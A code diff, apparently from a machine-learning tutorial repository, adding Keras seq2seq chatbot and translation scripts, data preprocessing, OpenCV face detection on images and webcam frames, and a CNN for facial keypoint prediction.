+        encoder_inputs = Input(shape=(None,))
+        if embedding_matrix is None:
+            encoder_emb_layer = Embedding(num_encoder_tokens, latent_dim, mask_zero=True)
+        else:
+            encoder_emb_layer = Embedding(num_encoder_tokens,
+                                            latent_dim,
+                                            mask_zero=True,
+                                            weights=[embedding_matrix],
+                                            trainable=False)
+
+        encoder_emb = encoder_emb_layer(encoder_inputs)
+    else:
+        encoder_inputs = Input(shape=(None, num_encoder_tokens))
+        encoder_emb = encoder_inputs
+    encoder_lstm = LSTM(latent_dim, return_state=True)
+    encoder_outputs, state_h, state_c = encoder_lstm(encoder_emb)
+
+    # we discard encoder_outputs and only keep the states
+    encoder_states = [state_h, state_c]
+
+    # DECODER
+    # Set up the decoder, using encoder_states as initial state
+    if embedding_layer:
+        decoder_inputs = Input(shape=(None,))
+    else:
+        decoder_inputs = Input(shape=(None, num_encoder_tokens))
+    # add an embedding layer
+    # decoder_emb_layer = Embedding(num_decoder_tokens, latent_dim, mask_zero=True)
+    if embedding_layer:
+        decoder_emb = encoder_emb_layer(decoder_inputs)
+    else:
+        decoder_emb = decoder_inputs
+    # we set up our decoder to return full output sequences
+    # and to return internal states as well, we don't use the
+    # return states in the training model, but we will use them in inference
+    decoder_lstm = LSTM(latent_dim, return_sequences=True, return_state=True)
+    decoder_outputs, _, _, = decoder_lstm(decoder_emb, initial_state=encoder_states)
+    # dense output layer used to predict each character ( or word )
+    # in one-hot manner, not recursively
+    decoder_dense = Dense(num_decoder_tokens, activation="softmax")
+    decoder_outputs = decoder_dense(decoder_outputs)
+    # finally, the model is defined with inputs for the encoder and the decoder
+    # and the output target sequence
+    # turn encoder_input_data & decoder_input_data into decoder_target_data
+    model = Model([encoder_inputs, decoder_inputs], output=decoder_outputs)
+    # model.summary()
+    # define encoder inference model
+    encoder_model = Model(encoder_inputs, encoder_states)
+    # define decoder inference model
+    decoder_state_input_h = Input(shape=(latent_dim,))
+    decoder_state_input_c = Input(shape=(latent_dim,))
+    decoder_states_inputs = [decoder_state_input_h, decoder_state_input_c]
+
+    # Get the embeddings of the decoder sequence
+    if embedding_layer:
+        dec_emb2 = encoder_emb_layer(decoder_inputs)
+    else:
+        dec_emb2 = decoder_inputs
+
+    decoder_outputs, state_h, state_c = decoder_lstm(dec_emb2, initial_state=decoder_states_inputs)
+    decoder_states = [state_h, state_c]
+    decoder_outputs = decoder_dense(decoder_outputs)
+    decoder_model = Model([decoder_inputs] + decoder_states_inputs, [decoder_outputs] + decoder_states)
+    return model, encoder_model, decoder_model
+    
+
+
+
+def predict_sequence(enc, dec, source, n_steps, cardinality, char_level=False):
+    """Generate target given source sequence, this function can be used
+    after the model is trained to generate a target sequence given a source sequence."""
+    # encode
+    state = enc.predict(source)
+    # start of sequence input
+    if char_level:
+        target_seq = np.zeros((1, 1, 61))
+    else:
+        target_seq = np.zeros((1, 1))
+    # collect predictions
+    output = []
+    for t in range(n_steps):
+        # predict next char
+        yhat, h, c = dec.predict([target_seq] + state)
+        # store predictions
+        y = yhat[0, 0, :]
+        if char_level:
+            sampled_token_index = to_categorical(np.argmax(y), num_classes=61)
+        else:
+            sampled_token_index = np.argmax(y)
+        output.append(sampled_token_index)
+        # update state
+        state = [h, c]
+        # update target sequence
+        if char_level:
+            target_seq = np.zeros((1, 1, 61))
+        else:
+            target_seq = np.zeros((1, 1))
+        target_seq[0, 0] = sampled_token_index
+        
+    return np.array(output)
+
+
+def decode_sequence(enc, dec, input_seq):
+    # Encode the input as state vectors.
+    states_value = enc.predict(input_seq)
+    
+    # Generate empty target sequence of length 1.
+    target_seq = np.zeros((1,1))
+    
+    # Populate the first character of target sequence with the start character.
+    target_seq[0, 0] = 0
+    
+    # Sampling loop for a batch of sequences
+    # (to simplify, here we assume a batch of size 1).
+    stop_condition = False
+    decoded_sequence = []
+    
+    while not stop_condition:
+        output_tokens, h, c = dec.predict([target_seq] + states_value)
+        # Sample a token
+        sampled_token_index = np.argmax(output_tokens[0, -1, :])
+        # sampled_char = reverse_target_char_index[sampled_token_index]
+        decoded_sentence.append(output_tokens[0, -1, :])
+        
+        # Exit condition: either hit max length or find stop token.
+        if (output_tokens == '' or len(decoded_sentence) > 50):
+            stop_condition = True
+        
+        # Update the target sequence (of length 1).
+        target_seq = np.zeros((1,1))
+        target_seq[0, 0] = sampled_token_index
+        
+        # Update states
+        states_value = [h, c]
+    
+    return decoded_sentence
+
+
+
+
+from keras.preprocessing.text import Tokenizer
+from keras.preprocessing.sequence import pad_sequences
+from keras.utils import to_categorical
+import numpy as np
+
+
+def tokenize(x, tokenizer=None):
+    """Tokenize x
+    :param x: List of sentences/strings to be tokenized
+    :return: Tuple of (tokenized x data, tokenizer used to tokenize x)"""
+    if tokenizer:
+        t = tokenizer
+    else:
+        t = Tokenizer()
+    t.fit_on_texts(x)
+    return t.texts_to_sequences(x), t
+
+
+def pad(x, length=None):
+    """Pad x
+    :param x: list of sequences
+    :param length: Length to pad the sequence to, If None, use length
+    of longest sequence in x.
+    :return: Padded numpy array of sequences"""
+    return pad_sequences(x, maxlen=length, padding="post")
+
+
+def preprocess(x, y):
+    """Preprocess x and y
+    :param x: Feature list of sentences
+    :param y: Label list of sentences
+    :return: Tuple of (preprocessed x, preprocessed y, x tokenizer, y tokenizer)"""
+    preprocess_x, x_tk = tokenize(x)
+    preprocess_y, y_tk = tokenize(y)
+    preprocess_x2 = [ [0] + s for s in preprocess_y ]
+    longest_x = max([len(i) for i in preprocess_x])
+    longest_y = max([len(i) for i in preprocess_y]) + 1
+    # max_length = len(x_tk.word_index) if len(x_tk.word_index) > len(y_tk.word_index) else len(y_tk.word_index)
+    max_length = longest_x if longest_x > longest_y else longest_y
+
+    preprocess_x = pad(preprocess_x, length=max_length)
+    preprocess_x2 = pad(preprocess_x2, length=max_length)
+    preprocess_y = pad(preprocess_y, length=max_length)
+
+    # preprocess_x = to_categorical(preprocess_x)
+    # preprocess_x2 = to_categorical(preprocess_x2)
+    preprocess_y = to_categorical(preprocess_y)
+
+    return preprocess_x, preprocess_x2, preprocess_y, x_tk, y_tk
+
+
+def load_data(filename):
+    with open(filename) as f:
+        text = f.read()
+    return text.split("\n")
+
+
+def load_dataset():
+    english_sentences = load_data("data/small_vocab_en")
+    french_sentences = load_data("data/small_vocab_fr")
+    
+    return preprocess(english_sentences, french_sentences)
+
+
+# def generate_batch(X, y, num_decoder_tokens, max_length_src, max_length_target, batch_size=256):
+#     """Generating data"""
+#     while True:
+#         for j in range(0, len(X), batch_size):
+#             encoder_input_data = np.zeros((batch_size, max_length_src), dtype='float32')
+#             decoder_input_data = np.zeros((batch_size, max_length_target), dtype='float32')
+#             decoder_target_data = np.zeros((batch_size, max_length_target, num_decoder_tokens), dtype='float32')
+#             for i, (input_text, target_text) in enumerate(zip(X[j: j+batch_size], y[j: j+batch_size])):
+#                 for t, word in enumerate(input_text.split()):
+#                     encoder_input_data[i, t] = input_word_index[word] # encoder input sequence
+#                 for t, word in enumerate(target_text.split()):
+#                     if t > 0:
+#                         # offset by one timestep
+#                         # one-hot encoded
+#                         decoder_target_data[i, t-1, target_token_index[word]] = 1
+#                     if t < len(target_text.split()) - 1:
+#                         decoder_input_data[i, t] = target_token_index[word]
+#             yield ([encoder_input_data, decoder_input_data], decoder_target_data)
+
+if __name__ == "__main__":
+    from generator import NMTGenerator
+    gen = NMTGenerator(source_file="data/small_vocab_en", target_file="data/small_vocab_fr")
+    gen.load_dataset()
+    print(gen.num_decoder_tokens)
+    print(gen.num_encoder_tokens)
+    print(gen.source_sequence_length)
+    print(gen.target_sequence_length)
+    print(gen.X.shape)
+    print(gen.y.shape)
+    for i, ((encoder_input_data, decoder_input_data), decoder_target_data) in enumerate(gen.generate_batches()):
+        # print("encoder_input_data.shape:", encoder_input_data.shape)
+        # print("decoder_output_data.shape:", decoder_input_data.shape)
+        if i % (len(gen.X) // gen.batch_size + 1) == 0:
+            print(i, ": decoder_input_data:", decoder_input_data[0])
+
+
+
+
+# to use CPU
+import os
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=5,
+                        inter_op_parallelism_threads=5, 
+                        allow_soft_placement=True,
+                        device_count = {'CPU' : 1,
+                                        'GPU' : 0}
+                       )
+
+from models import predict_sequence, encoder_decoder_model
+from preprocess import tokenize, pad
+from keras.utils import to_categorical
+from generator import get_embedding_vectors
+import pickle
+import numpy as np
+
+x_tk = pickle.load(open("results/x_tk.pickle", "rb"))
+y_tk = pickle.load(open("results/y_tk.pickle", "rb"))
+
+
+
+index_to_words = {id: word for word, id in y_tk.word_index.items()}
+index_to_words[0] = '_'
+
+def logits_to_text(logits):
+    """
+    Turn logits from a neural network into text using the tokenizer
+    :param logits: Logits from a neural network
+    :param tokenizer: Keras Tokenizer fit on the labels
+    :return: String that represents the text of the logits
+    """
+    # return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)])
+    return ' '.join([index_to_words[prediction] for prediction in logits])
+
+
+num_encoder_tokens = 29046
+num_decoder_tokens = 29046
+latent_dim = 300
+
+# embedding_vectors = get_embedding_vectors(x_tk)
+
+model, enc, dec = encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens)
+enc.summary()
+dec.summary()
+model.summary()
+model.load_weights("results/chatbot_v13_4.831_0.219.h5")
+
+while True:
+    text = input("> ")
+    tokenized = tokenize([text], tokenizer=y_tk)[0]
+    # print("tokenized:", tokenized)
+    X = pad(tokenized, length=37)
+    sequence = predict_sequence(enc, dec, X, 37, num_decoder_tokens)
+    # print(sequence)
+    result = logits_to_text(sequence)
+    print(result)
+
+
+
+
+# to use CPU
+import os
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=5,
+                        inter_op_parallelism_threads=5, 
+                        allow_soft_placement=True,
+                        device_count = {'CPU' : 1,
+                                        'GPU' : 0}
+                       )
+
+from models import predict_sequence, encoder_decoder_model
+from preprocess import tokenize, pad
+from keras.utils import to_categorical
+from generator import get_embedding_vectors
+import pickle
+import numpy as np
+
+x_tk = pickle.load(open("results/x_tk.pickle", "rb"))
+y_tk = pickle.load(open("results/y_tk.pickle", "rb"))
+
+
+
+index_to_words = {id: word for word, id in y_tk.word_index.items()}
+index_to_words[0] = '_'
+
+def logits_to_text(logits):
+    """
+    Turn logits from a neural network into text using the tokenizer
+    :param logits: Logits from a neural network
+    :param tokenizer: Keras Tokenizer fit on the labels
+    :return: String that represents the text of the logits
+    """
+    # return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)])
+    # return ''.join([index_to_words[np.where(prediction==1)[0]] for prediction in logits])
+    text = ""
+    for prediction in logits:
+        char_index = np.where(prediction)[0][0]
+
+        char = index_to_words[char_index]
+        text += char
+    return text
+        
+
+
+num_encoder_tokens = 61
+num_decoder_tokens = 61
+latent_dim = 384
+
+# embedding_vectors = get_embedding_vectors(x_tk)
+
+model, enc, dec = encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens, embedding_layer=False)
+enc.summary()
+dec.summary()
+model.summary()
+model.load_weights("results/chatbot_charlevel_v2_0.32_0.90.h5")
+
+while True:
+    text = input("> ")
+    tokenized = tokenize([text], tokenizer=y_tk)[0]
+    # print("tokenized:", tokenized)
+    X = to_categorical(pad(tokenized, length=37), num_classes=num_encoder_tokens)
+    # print(X)
+    sequence = predict_sequence(enc, dec, X, 206, num_decoder_tokens, char_level=True)
+    # print(sequence)
+    result = logits_to_text(sequence)
+    print(result)
+
+
+
+
+import numpy as np
+import pickle
+from models import encoder_decoder_model
+from generator import NMTGenerator, get_embedding_vectors
+from preprocess import load_dataset
+from keras.callbacks import ModelCheckpoint
+from keras_adabound import AdaBound
+
+text_gen = NMTGenerator(source_file="data/questions",
+                        target_file="data/answers",
+                        batch_size=32,
+                        same_tokenizer=True,
+                        verbose=2)
+text_gen.load_dataset()
+print("[+] Dataset loaded.")
+
+num_encoder_tokens = text_gen.num_encoder_tokens
+num_decoder_tokens = text_gen.num_decoder_tokens
+# get tokenizer
+tokenizer = text_gen.x_tk
+embedding_vectors = get_embedding_vectors(tokenizer)
+print("text_gen.source_sequence_length:", text_gen.source_sequence_length)
+print("text_gen.target_sequence_length:", text_gen.target_sequence_length)
+num_tokens = max([num_encoder_tokens, num_decoder_tokens])
+latent_dim = 300
+
+model, enc, dec = encoder_decoder_model(num_tokens, latent_dim, num_tokens, embedding_matrix=embedding_vectors)
+model.summary()
+enc.summary()
+dec.summary()
+del enc
+del dec
+print("[+] Models created.")
+
+model.compile(optimizer="rmsprop", loss="categorical_crossentropy", metrics=["accuracy"])
+print("[+] Model compiled.")
+
+# pickle.dump(x_tk, open("results/x_tk.pickle", "wb"))
+print("[+] X tokenizer serialized.")
+
+# pickle.dump(y_tk, open("results/y_tk.pickle", "wb"))
+print("[+] y tokenizer serialized.")
+
+# X = X.reshape((X.shape[0], X.shape[2], X.shape[1]))
+# y = y.reshape((y.shape[0], y.shape[2], y.shape[1]))
+print("[+] Dataset reshaped.")
+
+# print("X1.shape:", X1.shape)
+# print("X2.shape:", X2.shape)
+# print("y.shape:", y.shape)
+checkpointer = ModelCheckpoint("results/chatbot_v13_{val_loss:.3f}_{val_acc:.3f}.h5", save_best_only=False, verbose=1)
+model.load_weights("results/chatbot_v13_4.806_0.219.h5")
+# model.fit([X1, X2], y,
+model.fit_generator(text_gen.next_train(),
+                    validation_data=text_gen.next_validation(),
+                    verbose=1,
+                    steps_per_epoch=(len(text_gen.X_train) // text_gen.batch_size),
+                    validation_steps=(len(text_gen.X_test) // text_gen.batch_size),
+                    callbacks=[checkpointer],
+                    epochs=5)
+print("[+] Model trained.")
+
+model.save_weights("results/chatbot_v13.h5")
+print("[+] Model saved.")
+
+
+
+
+import numpy as np
+import pickle
+from models import encoder_decoder_model
+from generator import NMTGenerator, get_embedding_vectors
+from preprocess import load_dataset
+from keras.callbacks import ModelCheckpoint
+from keras_adabound import AdaBound
+
+text_gen = NMTGenerator(source_file="data/questions",
+                        target_file="data/answers",
+                        batch_size=256,
+                        same_tokenizer=True,
+                        char_level=True,
+                        verbose=2)
+text_gen.load_dataset()
+print("[+] Dataset loaded.")
+
+num_encoder_tokens = text_gen.num_encoder_tokens
+num_decoder_tokens = text_gen.num_decoder_tokens
+# get tokenizer
+tokenizer = text_gen.x_tk
+print("text_gen.source_sequence_length:", text_gen.source_sequence_length)
+print("text_gen.target_sequence_length:", text_gen.target_sequence_length)
+num_tokens = max([num_encoder_tokens, num_decoder_tokens])
+latent_dim = 384
+
+model, enc, dec = encoder_decoder_model(num_tokens, latent_dim, num_tokens, embedding_layer=False)
+model.summary()
+enc.summary()
+dec.summary()
+del enc
+del dec
+print("[+] Models created.")
+
+model.compile(optimizer=AdaBound(lr=1e-3, final_lr=0.1), loss="categorical_crossentropy", metrics=["accuracy"])
+print("[+] Model compiled.")
+
+# pickle.dump(x_tk, open("results/x_tk.pickle", "wb"))
+print("[+] X tokenizer serialized.")
+
+# pickle.dump(y_tk, open("results/y_tk.pickle", "wb"))
+print("[+] y tokenizer serialized.")
+
+# X = X.reshape((X.shape[0], X.shape[2], X.shape[1]))
+# y = y.reshape((y.shape[0], y.shape[2], y.shape[1]))
+print("[+] Dataset reshaped.")
+
+# print("X1.shape:", X1.shape)
+# print("X2.shape:", X2.shape)
+# print("y.shape:", y.shape)
+checkpointer = ModelCheckpoint("results/chatbot_charlevel_v2_{val_loss:.2f}_{val_acc:.2f}.h5", save_best_only=False, verbose=1)
+model.load_weights("results/chatbot_charlevel_v2_0.32_0.90.h5")
+# model.fit([X1, X2], y,
+model.fit_generator(text_gen.next_train(),
+                    validation_data=text_gen.next_validation(),
+                    verbose=1,
+                    steps_per_epoch=(len(text_gen.X_train) // text_gen.batch_size)+1,
+                    validation_steps=(len(text_gen.X_test) // text_gen.batch_size)+1,
+                    callbacks=[checkpointer],
+                    epochs=50)
+print("[+] Model trained.")
+
+model.save_weights("results/chatbot_charlevel_v2.h5")
+print("[+] Model saved.")
+
+
+
+
+import tqdm
+
+X, y = [], []
+with open("data/fr-en", encoding='utf8') as f:
+    for i, line in tqdm.tqdm(enumerate(f), "Reading file"):
+        if "europarl-v7" in line:
+            continue
+        # X.append(line)
+        # if i == 2007723 or i == 2007724 or i == 2007725
+        if i <= 2007722:
+            X.append(line.strip())
+        else:
+            y.append(line.strip())
+
+y.pop(-1)
+
+
+with open("data/en", "w", encoding='utf8') as f:
+    for i in tqdm.tqdm(X, "Writing english"):
+        print(i, file=f)
+
+with open("data/fr", "w", encoding='utf8') as f:
+    for i in tqdm.tqdm(y, "Writing french"):
+        print(i, file=f)
+
+
+
+
+import glob
+import tqdm
+import os
+import random
+import inflect
+
+p = inflect.engine()
+
+X, y = [], []
+
+special_words = {
+    "haha", "rockikz", "fullclip", "xanthoss", "aw", "wow", "ah", "oh", "god", "quran", "allah",
+    "muslims", "muslim", "islam", "?", ".", ",",
+    '_func_val_get_callme_para1_comma0', '_num2_', '_func_val_get_last_question', '_num1_',
+    '_func_val_get_number_plus_para1__num1__para2__num2_',
+    '_func_val_update_call_me_enforced_para1__callme_',
+    '_func_val_get_number_minus_para1__num2__para2__num1_', '_func_val_get_weekday_para1_d0',
+    '_func_val_update_user_name_para1__name_', '_callme_', '_func_val_execute_pending_action_and_reply_para1_no',
+    '_func_val_clear_user_name_and_call_me', '_func_val_get_story_name_para1_the_velveteen_rabbit', '_ignored_',
+    '_func_val_get_number_divide_para1__num1__para2__num2_', '_func_val_get_joke_anyQ:',
+    '_func_val_update_user_name_and_call_me_para1__name__para2__callme_', '_func_val_get_number_divide_para1__num2__para2__num1_Q:',
+    '_name_', '_func_val_ask_name_if_not_yet', '_func_val_get_last_answer', '_func_val_continue_last_topic',
+    '_func_val_get_weekday_para1_d1', '_func_val_get_number_minus_para1__num1__para2__num2_', '_func_val_get_joke_any',
+    '_func_val_get_story_name_para1_the_three_little_pigs', '_func_val_update_call_me_para1__callme_',
+    '_func_val_get_story_name_para1_snow_white', '_func_val_get_today', '_func_val_get_number_multiply_para1__num1__para2__num2_',
+    '_func_val_update_user_name_enforced_para1__name_', '_func_val_get_weekday_para1_d_2', '_func_val_correct_user_name_para1__name_',
+    '_func_val_get_time', '_func_val_get_number_divide_para1__num2__para2__num1_', '_func_val_get_story_any',
+    '_func_val_execute_pending_action_and_reply_para1_yes', '_func_val_get_weekday_para1_d_1', '_func_val_get_weekday_para1_d2'
+}
+
+english_words = { word.strip() for word in open("data/words8.txt") }
+
+embedding_words = set()
+f = open("data/glove.6B.300d.txt", encoding='utf8')
+for line in tqdm.tqdm(f, "Reading GloVe words"):
+    values = line.split()
+    word = values[0]
+    embedding_words.add(word)
+
+maps = open("data/maps.txt").readlines()
+word_mapper = {}
+for map in maps:
+    key, value = map.split("=>")
+    key = key.strip()
+    value = value.strip()
+    print(f"Mapping {key} to {value}")
+    word_mapper[key.lower()] = value
+
+
+unks = 0
+digits = 0
+mapped = 0
+english = 0
+special = 0
+
+def map_text(line):
+    global unks
+    global digits
+    global mapped
+    global english
+    global special
+    result = []
+    append = result.append
+    words = line.split()
+    for word in words:
+        word = word.lower()
+        if word.isdigit():
+            append(p.number_to_words(word))
+            digits += 1
+            continue
+        if word in word_mapper:
+            append(word_mapper[word])
+            mapped += 1
+            continue
+        if word in english_words:
+            append(word)
+            english += 1
+            continue
+        if word in special_words:
+            append(word)
+            special += 1
+            continue
+        append("_unk_")
+        unks += 1
+    return ' '.join(result)
+
+for file in tqdm.tqdm(glob.glob("data/Augment*/*"), "Reading files"):
+    with open(file, encoding='utf8') as f:
+        for line in f:
+            line = line.strip()
+            if "Q: " in line:
+                X.append(line)
+            elif "A: " in line:
+                y.append(line)
+
+# shuffle X and y maintaining the order
+combined = list(zip(X, y))
+random.shuffle(combined)
+
+X[:], y[:] = zip(*combined)
+
+with open("data/questions", "w") as f:
+    for line in tqdm.tqdm(X, "Writing questions"):
+        line = line.strip().lstrip('Q: ')
+        line = map_text(line)
+        print(line, file=f)
+
+print()
+
+print("[!] Unks:", unks)
+print("[!] digits:", digits)
+print("[!] Mapped:", mapped)
+print("[!] english:", english)
+print("[!] special:", special)
+print()
+
+unks = 0
+digits = 0
+mapped = 0
+english = 0
+special = 0
+
+with open("data/answers", "w") as f:
+    for line in tqdm.tqdm(y, "Writing answers"):
+        line = line.strip().lstrip('A: ')
+        line = map_text(line)
+        print(line, file=f)
+
+print()
+print("[!] Unks:", unks)
+print("[!] digits:", digits)
+print("[!] Mapped:", mapped)
+print("[!] english:", english)
+print("[!] special:", special)
+print()
+
+
+
+
+import numpy as np
+import cv2
+
+
+# loading the test image
+image = cv2.imread("kids.jpg")
+
+# converting to grayscale
+image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
+
+# initialize the face recognizer (default face haar cascade)
+face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml")
+
+# detect all the faces in the image
+faces = face_cascade.detectMultiScale(image_gray, 1.3, 5)
+
+# for every face, draw a blue rectangle
+for x, y, width, height in faces:
+    cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2)
+
+# save the image with rectangles
+cv2.imwrite("kids_detected.jpg", image)
+
+
+
+
+import numpy as np
+import cv2
+
+# create a new cam object
+cap = cv2.VideoCapture(0)
+
+# initialize the face recognizer (default face haar cascade)
+face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml")
+
+while True:
+    # read the image from the cam
+    _, image = cap.read()
+    # converting to grayscale
+    image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
+
+    # detect all the faces in the image
+    faces = face_cascade.detectMultiScale(image_gray, 1.3, 5)
+
+    # for every face, draw a blue rectangle
+    for x, y, width, height in faces:
+        cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2)
+
+    cv2.imshow("image", image)
+
+    if cv2.waitKey(1) == ord("q"):
+        break
+
+cap.release()
+cv2.destroyAllWindows()
+
+
+
+
+import cv2
+import numpy as np
+import matplotlib.pyplot as plt
+
+import sys
+
+from models import create_model
+from parameters import *
+from utils import normalize_image
+
+
+def untransform(keypoints):
+    return keypoints * 50 + 100
+
+
+def get_single_prediction(model, image):
+    image = np.expand_dims(image, axis=0)
+    keypoints = model.predict(image)[0]
+    return keypoints.reshape(*OUTPUT_SHAPE)
+
+
+def show_keypoints(image, predicted_keypoints, true_keypoints=None):
+    predicted_keypoints = untransform(predicted_keypoints)        
+    plt.imshow(np.squeeze(image), cmap="gray")
+    plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m")
+    if true_keypoints is not None:
+        true_keypoints = untransform(true_keypoints)
+        plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g")
+    plt.show()
+
+
+image = cv2.imread(sys.argv[1])
+image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
+
+# # construct the model
+model = create_model((*IMAGE_SIZE, 1), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1])
+
+model.load_weights("results/model_smoothl1.h5")
+
+face_cascade = cv2.CascadeClassifier("haarcascade_frontalface_default.xml")
+# get all the faces in the image
+faces = face_cascade.detectMultiScale(image, 1.2, 2)
+
+for (x, y, w, h) in faces:
+    cv2.rectangle(image, (x, y), (x+w, y+h), (255, 0, 0), 3)
+    face_image = image.copy()[y: y+h, x: x+w]
+    face_image = normalize_image(face_image)
+    keypoints = get_single_prediction(model, face_image)
+    show_keypoints(face_image, keypoints)
+
+
+
+
+import pandas as pd
+import numpy as np
+import matplotlib.pyplot as plt
+import cv2
+
+from models import create_model
+from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file
+from utils import load_data, resize_image, normalize_keypoints, normalize_image
+
+
+def get_single_prediction(model, image):
+    image = np.expand_dims(image, axis=0)
+    keypoints = model.predict(image)[0]
+    return keypoints.reshape(*OUTPUT_SHAPE)
+
+def get_predictions(model, X):
+    predicted_keypoints = model.predict(X)
+    predicted_keypoints = predicted_keypoints.reshape(-1, *OUTPUT_SHAPE)
+    return predicted_keypoints
+    
+
+def show_keypoints(image, predicted_keypoints, true_keypoints=None):
+    predicted_keypoints = untransform(predicted_keypoints)        
+    plt.imshow(image, cmap="gray")
+    plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m")
+    if true_keypoints is not None:
+        true_keypoints = untransform(true_keypoints)
+        plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g")
+    plt.show()
+
+
+def show_keypoints_cv2(image, predicted_keypoints, true_keypoints=None):
+    for keypoint in predicted_keypoints:
+        image = cv2.circle(image, (keypoint[0], keypoint[1]), 2, color=2)
+    if true_keypoints is not None:
+        image = cv2.circle(image, (true_keypoints[:, 0], true_keypoints[:, 1]), 2, color="green")
+    return image
+
+
+def untransform(keypoints):
+    return keypoints * 224
+
+
+# construct the model
+model = create_model((*IMAGE_SIZE, 1), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1])
+
+model.load_weights("results/model_smoothl1_different-scaling.h5")
+
+# X_test, y_test = load_data(testing_file)
+# y_test = y_test.reshape(-1, *OUTPUT_SHAPE)
+
+cap = cv2.VideoCapture(0)
+
+while True:
+    _, frame = cap.read()
+    # make a copy of the original image
+    image = frame.copy()
+    image = normalize_image(image)
+
+    keypoints = get_single_prediction(model, image)
+    print(keypoints[0])
+    keypoints = untransform(keypoints)
+    # w, h = frame.shape[:2]
+    # keypoints = (keypoints * [frame.shape[0] / image.shape[0], frame.shape[1] / image.shape[1]]).astype("int16")
+    # frame = show_keypoints_cv2(frame, keypoints)
+    image = show_keypoints_cv2(image, keypoints)
+    cv2.imshow("frame", image)
+
+    if cv2.waitKey(1) == ord("q"):
+        break
+
+cv2.destroyAllWindows()
+cap.release()
+
+
+
+
+from tensorflow.keras.models import Sequential, Model
+from tensorflow.keras.layers import Dense, Activation, Conv2D, MaxPooling2D, Dropout, Flatten
+from tensorflow.keras.applications import MobileNetV2
+import tensorflow as tf
+import tensorflow.keras.backend as K
+
+def smoothL1(y_true, y_pred):
+    HUBER_DELTA = 0.5
+    x   = K.abs(y_true - y_pred)
+    x   = K.switch(x < HUBER_DELTA, 0.5 * x ** 2, HUBER_DELTA * (x - 0.5 * HUBER_DELTA))
+    return K.sum(x)
+
+
+def create_model(input_shape, output_shape):
+
+    # building the model
+    model = Sequential()
+
+    model.add(Conv2D(filters=32, kernel_size=(5, 5), padding="same", input_shape=input_shape))
+    model.add(Activation("relu"))
+    model.add(Conv2D(filters=32, kernel_size=(5, 5), padding="same"))
+    model.add(Activation("relu"))
+    model.add(MaxPooling2D(pool_size=(2, 2)))
+    # model.add(Dropout(0.25))
+
+    model.add(Conv2D(filters=64, kernel_size=(5, 5), padding="same"))
+    model.add(Activation("relu"))
+    model.add(Conv2D(filters=64, kernel_size=(5, 5), padding="same"))
+    model.add(Activation("relu"))
+    model.add(MaxPooling2D(pool_size=(2, 2)))
+    # model.add(Dropout(0.25))
+
+    model.add(Conv2D(filters=128, kernel_size=(5, 5), padding="same"))
+    model.add(Activation("relu"))
+    model.add(Conv2D(filters=128, kernel_size=(5, 5), padding="same"))
+    model.add(Activation("relu"))
+    model.add(MaxPooling2D(pool_size=(2, 2)))
+    # model.add(Dropout(0.25))
+
+    # model.add(Conv2D(filters=256, kernel_size=(5, 5), padding="same"))
+    # model.add(Activation("relu"))
+    # model.add(Conv2D(filters=256, kernel_size=(5, 5), padding="same"))
+    # model.add(Activation("relu"))
+    # model.add(MaxPooling2D(pool_size=(2, 2)))
+    # # model.add(Dropout(0.25))
+
+    # flattening the convolutions
+    model.add(Flatten())
+    # fully-connected layers
+    model.add(Dense(256))
+    model.add(Activation("relu"))
+    model.add(Dropout(0.5))
+    model.add(Dense(output_shape, activation="linear"))
+
+    # print the summary of the model architecture
+    model.summary()
+
+    # training the model using rmsprop optimizer
+    # model.compile(loss="mean_squared_error", optimizer="adam", metrics=["mean_absolute_error"])
+    model.compile(loss=smoothL1, optimizer="adam", metrics=["mean_absolute_error"])
+    return model
+
+
+def create_mobilenet_model(input_shape, output_shape):
+    model = MobileNetV2(input_shape=input_shape)
+    # remove the last layer
+    model.layers.pop()
+    # freeze all the weights of the model except for the last 4 layers
+    for layer in model.layers[:-4]:
+        layer.trainable = False
+    # construct our output dense layer
+    output = Dense(output_shape, activation="linear")
+    # connect it to the model
+    output = output(model.layers[-1].output)
+
+    model = Model(inputs=model.inputs, outputs=output)
+
+    model.summary()
+
+    # training the model using adam optimizer
+    # model.compile(loss="mean_squared_error", optimizer="adam", metrics=["mean_absolute_error"])
+    model.compile(loss=smoothL1, optimizer="adam", metrics=["mean_absolute_error"])
+    return model
+
+
+
+
+IMAGE_SIZE = (224, 224)
+OUTPUT_SHAPE = (68, 2)
+BATCH_SIZE = 20
+EPOCHS = 30
+
+training_file = "data/training_frames_keypoints.csv"
+testing_file = "data/test_frames_keypoints.csv"
+
+
+
+
+import pandas as pd
+import numpy as np
+import matplotlib.pyplot as plt
+
+from models import create_model, create_mobilenet_model
+from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file
+from utils import load_data
+
+
+def get_predictions(model, X):
+    predicted_keypoints = model.predict(X)
+    predicted_keypoints = predicted_keypoints.reshape(-1, *OUTPUT_SHAPE)
+    return predicted_keypoints
+    
+
